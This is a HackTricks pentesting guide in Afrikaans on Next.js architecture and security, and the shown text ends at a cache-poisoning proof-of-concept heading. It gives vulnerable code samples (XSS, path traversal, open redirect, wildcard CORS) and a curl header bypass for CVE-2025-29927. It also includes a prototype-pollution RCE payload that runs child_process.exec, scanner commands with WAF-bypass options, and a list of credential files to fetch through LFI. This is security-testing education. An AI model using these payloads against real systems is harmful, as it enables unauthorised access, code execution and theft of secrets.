NextJS

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Algemene argitektuur van ’n Next.js-toepassing

Tipiese lêerstruktuur

’n Standaard Next.js-projek volg ’n spesifieke lêer- en gidsstruktuur wat funksies soos routing, API-endpunte en bestuur van statiese assets vergemaklik. Hier is ’n tipiese uitleg:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Kern-gidse en lêers

• public/: Huisves statiese hulpbronne soos beelde, lettertipes en ander lêers. Lêers hier is toeganklik by die wortelpad (/).
• app/: Sentrale gids vir jou toepassing se bladsye, layouts, komponente en API-roetes. Omhels die App Router-paradigma, wat gevorderde routing-funksies en skeiding tussen server- en kliëntkomponente moontlik maak.
• app/layout.tsx: Bepaal die wortel-layout vir jou toepassing, draai om alle bladsye en verskaf konsekwente UI-elemente soos headers, footers en navigasiebalkies.
• app/page.tsx: Dien as die insetpunt vir die wortelroete /, en render die tuisblad.
• app/[route]/page.tsx: Hanteer statiese en dinamiese roetes. Elke gids binne app/ verteenwoordig ’n roete-segment, en page.tsx binne daardie gidse ooreenstem met die roete se komponent.
• app/api/: Bevat API-roetes, wat jou toelaat om serverless funksies te skep wat HTTP-versoeke hanteer. Hierdie roetes vervang die tradisionele pages/api-gids.
• app/components/: Huisves herbruikbare React-komponente wat oor verskeie bladsye en layouts gebruik kan word.
• app/styles/: Bevat globale CSS-lêers en CSS Modules vir komponent-geskepte stylering.
• app/utils/: Sluit hulpfunksies, hulp-modules en ander nie-UI logika in wat oor die toepassing gedeel kan word.
• .env.local: Berg omgewingsveranderlikes spesifiek vir die plaaslike ontwikkel-omgewing. Hierdie veranderlikes word nie in weergawebeheer gestoor nie.
• next.config.js: Pas Next.js-gedrag aan, insluitend webpack-konfigurasies, omgewingsveranderlikes en sekuriteitsinstellings.
• tsconfig.json: Konfigureer TypeScript-instellings vir die projek, wat type checking en ander TypeScript-funksies moontlik maak.
• package.json: Beheer projek-afhanklikhede, skripte en metadata.
• README.md: Verskaf dokumentasie en inligting oor die projek, insluitend opstellingsinstruksies, gebruiksriglyne en ander relevante besonderhede.
• yarn.lock / package-lock.json: Sluit die projek se afhanklikhede vas op spesifieke weergawes, wat konsekwente installasies oor verskillende omgewings verseker.

Kliëntkant in Next.js

Lêer-gebaseerde roeting in die app-gids

Die app-gids is die hoeksteen van roeting in die nuutste Next.js-weergawes. Dit gebruik die lêerstelsel om roetes te definieer, wat roete-bestuur intuïtief en skaalbaar maak.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Potensiële kliëntkant-kwesbaarhede

Alhoewel Next.js ’n veilige grondslag bied, kan onvanpaste koderingpraktyke kwesbaarhede inbring. Belangrike kliëntkant-kwesbaarhede sluit in:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Gebruik die ontdekte paaie (byvoorbeeld /docs, /docs/content/examples, /signin) om auth testing en endpoint discovery aan te dryf.

Bedienerkant in Next.js

Bedienerkant Rendering (SSR)

Bladsye word by elke versoek op die bediener gerender, wat verseker dat die gebruiker volledig gerenderde HTML ontvang. In hierdie geval moet jy jou eie pasgemaakte server skep om die versoeke te verwerk.

Gebruiksgvalle:

• Dinamiese inhoud wat gereeld verander.
• SEO-optimalisering, omdat soekenjins die volledig gerenderde bladsy kan kruip.

Implementering:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Statiese webwerf-generering (SSG)

Bladsye word vooraf gerender tydens die boutyd, wat lei tot vinniger laaitye en verminderde bedienerbelasting.

Gebruikstoepassings:

• Inhoud wat nie gereeld verander nie.
• Blogs, dokumentasie, bemarkingsbladsye.

Implementering:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Serverless Functions (API Routes)

Next.js maak dit moontlik om API endpoints as serverless functions te skep. Hierdie funksies loop op aanvraag sonder die behoefte aan ’n toegewyde server.

Gebruikstoepassings:

• Hantering van vorminsendings.
• Interaksie met databases.
• Verwerking van data of integrasie met derdeparty-API’s.

Implementering:

Met die bekendstelling van die app directory in Next.js 13 het routing en API-hantering meer buigsaam en kragtig geword. Hierdie moderne benadering stem nouliks oorheen met die lêergebaseerde routeringstelsel, maar bring verbeterde vermoëns, insluitend ondersteuning vir server- en client-komponente.

Basic Route Handler

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementering:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Verduideliking:

• Ligging: API routes word geplaas onder die app/api/ gids.
• Lêerbenaming: Elke API endpoint is in sy eie gids wat ’n route.js of route.ts lêer bevat.
• Gexporteerde funksies: In plaas van ’n enkele default export, word spesifieke HTTP-metode funksies (bv. GET, POST) geëksporteer.
• Response-hantering: Gebruik die Response constructor om responses terug te gee, wat meer beheer oor headers en statuskodes toelaat.

Hoe om ander paaie en metodes te hanteer:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS Konfigurasie

Beheer watter origins toegang tot jou API-roetes kan kry, en verminder Cross-Origin Resource Sharing (CORS)-kwesbaarhede.

Slegte konfigurasie-voorbeeld:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Let wel dat CORS ook in al die API routes gekonfigureer kan word binne die middleware.ts-lêer:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Probleem:

• Access-Control-Allow-Origin: '*': Laat enige webwerf toe om toegang tot die API te kry, wat potensieel kwaadwillige webwerwe toelaat om sonder beperkings met jou API te kommunikeer.
• Breed Metode Toestemming: Die toelaat van alle metodes kan aanvallers in staat stel om ongewenste aksies uit te voer.

Hoe aanvallers dit misbruik:

Aanvallers kan kwaadwillige webwerwe skep wat versoeke na jou API stuur, en sodoende funksionaliteit misbruik soos data-ophaling, data-manipulasie, of die veroorsaak van ongewenste aksies namens geverifieerde gebruikers.

CORS - Misconfigurations & Bypass

Bedienerkode blootstelling aan die kliëntkant

Dit is maklik om kode wat deur die bediener gebruik word ook in kode wat aan die kliëntkant blootgestel en gebruik word, te gebruik; die beste manier om te verseker dat ’n kode-lêer nooit aan die kliëntkant blootgestel word nie, is deur hierdie import aan die begin van die lêer te gebruik:

import "server-only"

Belangrike lêers en hul rolle

middleware.ts / middleware.js

Ligging: Root van die projek of binne src/.

Doel: Voer code uit in die server-side serverless function voordat ’n request verwerk word, wat dit moontlik maak om take soos authentication, redirects, of die wysiging van responses uit te voer.

Uitvoeringsvloei:

1. Incoming Request: Die middleware onderskep die request.
2. Processing: Voer operasies uit gebaseer op die request (bv. check authentication).
3. Response Modification: Kan die response verander of beheer oorhandig aan die volgende handler.

Voorbeelde van gebruiksgevalle:

• Herlei nie-geauthentiseerde gebruikers.
• Voeg pasgemaakte headers by.
• Log requests.

Voorbeeldkonfigurasie:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

As outorisering in middleware afgedwing word, kan geaffekteerde Next.js-releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) omseil word deur die x-middleware-subrequest header in te spuit. Die framework sal middleware-recursion oorslaan en die beskermde bladsy teruggee.

• Basiese gedrag is gewoonlik ’n 307-omleiding na ’n aanmeld-roete soos /api/auth/signin.
• Stuur ’n lang x-middleware-subrequest-waarde (herhaal middleware om MAX_RECURSION_DEPTH te bereik) om die response na 200 te draai:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Omdat geauthentiseerde bladsye baie subbronne laai, voeg die header by elke versoek (bv., Burp Match/Replace met ’n leë match-string) om te verhoed dat assets herlei word.

next.config.js

Ligging: Root van die projek.

Doel: Konfigureer Next.js-gedrag, maak dit moontlik om funksies aan of af te skakel, webpack-konfigurasies aan te pas, omgewingsvariabeles te stel, en verskeie sekuriteitsfunksies te konfigureer.

Belangrike Sekuriteitskonfigurasies:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js and pages/_document.js

pages/_app.js

Doel: Oorskryf die standaard App component, wat globale state, style en layout-komponente moontlik maak.

Gebruikgevalle:

• Invoeg van globale CSS.
• Toevoeging van layout-wrappers.
• Integrasie van state management-biblioteke.

Voorbeeld:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Doel: Oorskryf die standaard Document, wat aanpassing van die HTML- en Body-tags moontlik maak.

Gebruikstoepassings:

• Verander die <html> of <body> tags.
• Voeg meta-tags of pasgemaakte scripts by.
• Integreer lettertipes van derde partye.

Voorbeeld:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Pasgemaakte Bediener (Opsioneel)

Doel: Alhoewel Next.js ’n ingeboude bediener het, kan jy ’n pasgemaakte bediener skep vir gevorderde gevalle soos pasgemaakte routing of integrasie met bestaande backend-dienste.

Let wel: Die gebruik van ’n pasgemaakte bediener kan implementeringsopsies beperk, veral op platforms soos Vercel wat geoptimaliseer is vir Next.js se ingeboude bediener.

Voorbeeld:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Bykomende Argitektoniese en Sekuriteits-oorwegings

Omgewingsveranderlikes en Konfigurasie

Doel: Beheer sensitiewe inligting en konfigurasie-instellings buite die kodebasis.

Beste praktyke:

• Gebruik .env Files: Bêre veranderlikes soos API keys in .env.local (uitgesluit van weergawebeheer).
• Toegang tot veranderlikes veilig: Gebruik process.env.VARIABLE_NAME om toegang tot omgewingsveranderlikes te kry.
• Maak nooit Secrets op die kliënt openbaar nie: Verseker dat sensitiewe veranderlikes slegs aan die bedienerkant gebruik word.

Voorbeeld:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Nota: Om veranderlikes slegs op die bedienerkant te beperk, laat hulle uit die env-objek weg of voorsien hulle met die voorvoegsel NEXT_PUBLIC_ vir kliënt-eksponering.

Nuttige bediener-artefakte om via LFI/download-endpunte te teiken

As jy ’n path traversal of download API in ’n Next.js-app vind, teiken gekompileerde artefakte wat server-side secrets en auth-logika leak:

• .env / .env.local vir session-secrets en provider-credentials.
• .next/routes-manifest.json en .next/build-manifest.json vir ’n volledige roete-lys.
• .next/server/pages/api/auth/[...nextauth].js om die gekompileerde NextAuth-konfigurasie te herstel (bevat dikwels fallback-wagwoorde wanneer process.env-waardes nie gestel is nie).
• next.config.js / next.config.mjs om rewrites, redirects en middleware-routing te hersien.

Verifikasie en Autorisasie

Benadering:

• Sessie-gebaseerde Verifikasie: Gebruik cookies om gebruikersessies te bestuur.
• Token-gebaseerde Verifikasie: Implementeer JWTs vir staatlose verifikasie.
• Derdeparty-verskaffers: Integreer met OAuth-verskaffers (bv., Google, GitHub) met biblioteke soos next-auth.

Sekuriteitspraktyke:

• Veilige Cookies: Stel die HttpOnly, Secure en SameSite-attribuute.
• Wagwoord-hashing: Hash altyd wagwoorde voordat jy dit stoor.
• Invoer-validasie: Voorkom injection-aanvalle deur insette te valideer en te sanitiseer.

Voorbeeld:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Prestasie-optimalisering

Strategieë:

• Beeldoptimalisering: Gebruik Next.js se next/image komponent vir outomatiese beeldoptimalisering.
• Kodesplitsing: Benut dinamiese imports om kode op te deel en die aanvanklike laaitye te verminder.
• Kasbestuur: Implementeer caching-strategieë vir API-antwoorde en statiese assets.
• Lui-lading: Laai komponente of assets slegs wanneer dit nodig is.

Voorbeeld:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Moderne Next.js gebruik “Server Actions” wat op die server uitgevoer word maar vanaf die kliënt aangeroep word. In produksie is hierdie aanroepe opaak: alle POSTs beland op ’n algemene endpoint en word onderskei deur ’n build-spesifieke hash wat in die Next-Action header gestuur word. Voorbeeld:

POST /
Next-Action: a9f8e2b4c7d1...

Wanneer productionBrowserSourceMaps geaktiveer is, bevat geminimaliseerde JS-chunks oproepe na createServerReference(...) wat genoegsame struktuur leak (plus geassosieerde source maps) om ’n koppeling tussen die action-hash en die oorspronklike funksienaam te herstel. Dit laat jou toe om hashes wat in Next-Action waargeneem word, na konkrete teikens soos deleteUserAccount() of exportFinancialData() te vertaal.

Uittrekselaanpak (regex op geminimaliseerde JS + opsionele source maps)

Soek afgelaaide JS-chunks na createServerReference en onttrek die hash en die funksie-/bron-simbool. Twee nuttige patrone:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Groep 1: server action hash (40+ hex chars)
• Groep 2: symbool of pad wat na die oorspronklike funksie opgelos kan word via die source map wanneer teenwoordig

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Practical workflow

• Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
• Fetch the referenced JS bundles and accompanying *.map files (when present).
• Run the regex above to build a hash↔name dictionary.
• Use the dictionary to target testing:
• Name-driven triage (e.g., transferFunds, exportFinancialData).
• Track coverage across builds by function name (hashes rotate across builds).

Exercising hidden actions (template-based request)

Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and toets autorisasie, invoervalidasie en besigheidslogika van andersins ontoeganklike aksies.

Burp automatisering

• NextjsServerActionAnalyzer (Burp extension) automatiseer die bogenoemde in Burp:
• Delf deur proxy-geskiedenis na JS-chunks, onttrek createServerReference(...) inskrywings, en ontleed source maps waar beskikbaar.
• Behou ’n deursoekbare hash↔function-name woordeboek en verwyder duplikate oor builds volgens function-name.
• Kan ’n geldige template POST lokaliseer en ’n gereed-om-te-stuur Repeater-oortjie oopmaak met die teiken-aksie se hash ingewissel.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Aantekeninge en beperkings

• Vereis productionBrowserSourceMaps in production geaktiveer om name uit bundles/source maps te herstel.
• Function-name disclosure is nie ’n kwesbaarheid op sigself nie; gebruik dit om ontdekking te lei en toets elke aksie se autorisasie.

React Server Components Flight protocol deserialisasie RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) bevat ’n kritieke server-side prototype pollution tydens Flight chunk deserialisasie. Deur $ verwysings binne ’n Flight payload te skep, kan ’n aanvaller van besoedelde prototypes na arbitrêre JavaScript-uitvoering skuif en daarna na OS-opdraguitvoering binne die Node.js-proses.

NodeJS - proto & prototype Pollution

Aanvalsketting in Flight chunks

1. Prototype pollution primitive: Stel "then": "$1:__proto__:then" sodat die resolver ’n then funksie op Object.prototype skryf. Enige gewone objek wat daarna verwerk word, word ’n thenable, wat die aanvaller toelaat om async control flow binne RSC internals te beïnvloed.
2. Rebinding to the global Function constructor: Wys _response._formData.get na "$1:constructor:constructor". Tydens resolusie, object.constructor → Object, en Object.constructor → Function, sodat toekomstige oproepe na _formData.get() werklik Function(...) uitvoer.
3. Code execution via _prefix: Plaas JavaScript-bron in _response._prefix. Wanneer die besoedelde _formData.get aangeroep word, evalueer die raamwerk Function(_prefix)(...), sodat die ingespuite JS require('child_process').exec() of enige ander Node-primitive kan uitvoer.

Payload-skelet

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Kaartlegging van React Server Function blootstelling

React Server Functions (RSF) is enige funksies wat die 'use server'; direktief bevat. Elke form action, mutation of fetch helper wat aan een van daardie funksies gebind is, word ’n RSC Flight endpoint wat sonder moeite deur ’n aanvaller verskafde payloads kan deserialiseer. Nuttige recon-stappe afgelei uit React2Shell assessments:

• Statiese inventaris: kyk na die direktief om te verstaan hoeveel RSFs outomaties deur die framework blootgestel word.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app aktiveer standaard die App Router + app/ directory, wat stilweg elke roete in ’n RSC-capable endpoint omskakel. App Router-bates soos /_next/static/chunks/app/ of responses wat Flight-chunks oor text/x-component stream, is sterk internet-gesigbare vingerafdrukke.
• Implicitly vulnerable RSC deployments: React’s eie advisory merk op dat apps wat die RSC runtime insluit, exploiteerbaar kan wees selfs sonder eksplisiete RSFs, dus beskou enige build wat react-server-dom-* 19.0.0–19.2.0 gebruik as verdag.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. hergebruik dieselfde serializer en erf dieselfde remote-aanvalsoppervlak totdat hulle gepatchte React-builds insluit.

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: kwetsbaar in 19.0.0, 19.1.0–19.1.1 en 19.2.0; gefix in 19.0.1, 19.1.2 en 19.2.1 onderskeidelik.
• Next.js stable: App Router releases 15.0.0–16.0.6 sluit die kwetsbare RSC-stapel in. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 bevat reggestelde deps, so enige build onder daardie weergawes is ’n waardevolle teiken.
• Next.js canary: 14.3.0-canary.77+ verskaf ook die buggy runtime en het tans geen gepatchte canary drops nie, wat daardie vingerafdrukke sterk eksploitasie-kandidate maak.

Remote detection oracle

Assetnote’s react2shell-scanner stuur ’n gesmede multipart Flight-versoek na kandidaatspaaie en monitor bedienerkantgedrag:

• Default mode voer ’n deterministiese RCE payload uit (wiskunde-operasie weerspieël via X-Action-Redirect) wat kode-uitvoering bewys.
• --safe-check mode vervorm doelbewus die Flight-boodskap sodat gepatchte bedieners 200/400 terugstuur, terwyl kwesbare teikens HTTP/500 antwoorde uitstuur wat die substring E{"digest" in die liggaam bevat. Daardie (500 + digest) paar is tans die mees betroubare remote-orakel wat deur verdedigers gepubliseer is.
• Ingeboude --waf-bypass, --vercel-waf-bypass, en --windows switches pas payload-lay-out aan, voeg rommel voorop, of verruil OS-opdragte sodat jy regte internet-bates kan ondersoek.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Ander onlangse App Router-kwessies (laat 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – verkeerd gevormde Flight-payloads kan die RSC-resolver in ’n oneindige lus laat draai (pre-auth DoS) of die serialisering van saamgestelde Server Function-kode afdwing vir ander aksies. App Router builds ≥13.3 word beïnvloed totdat dit gepatch is; 15.0.x–16.0.x benodig die spesifieke patch-lyne uit die upstream advisory. Hergebruik die normale Server Action-pad maar stream ’n text/x-component body met misbruikende $-verwysings. Agter ’n CDN word die vasgeloopte verbinding oopgehou deur cache timeouts, wat die DoS goedkoop maak.

• Triage tip: Nie-gepatchte teikens gee 500 terug met E{"digest" na verkeerd gevormde Flight-payloads; gepatchte builds gee 400/200. Toets enige endpoint wat reeds Flight-chunks stream (kyk vir Next-Action headers of text/x-component responses) en herspeel met ’n gemodifiseerde payload.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – ontbrekende Vary laat ’n Accept: text/x-component response cached raak en aan browsers wat HTML verwag bedien word. ’n Enkel priming-versoek kan die bladsy vervang met rou RSC payloads. PoC flow:

# Prime CDN with an RSC response
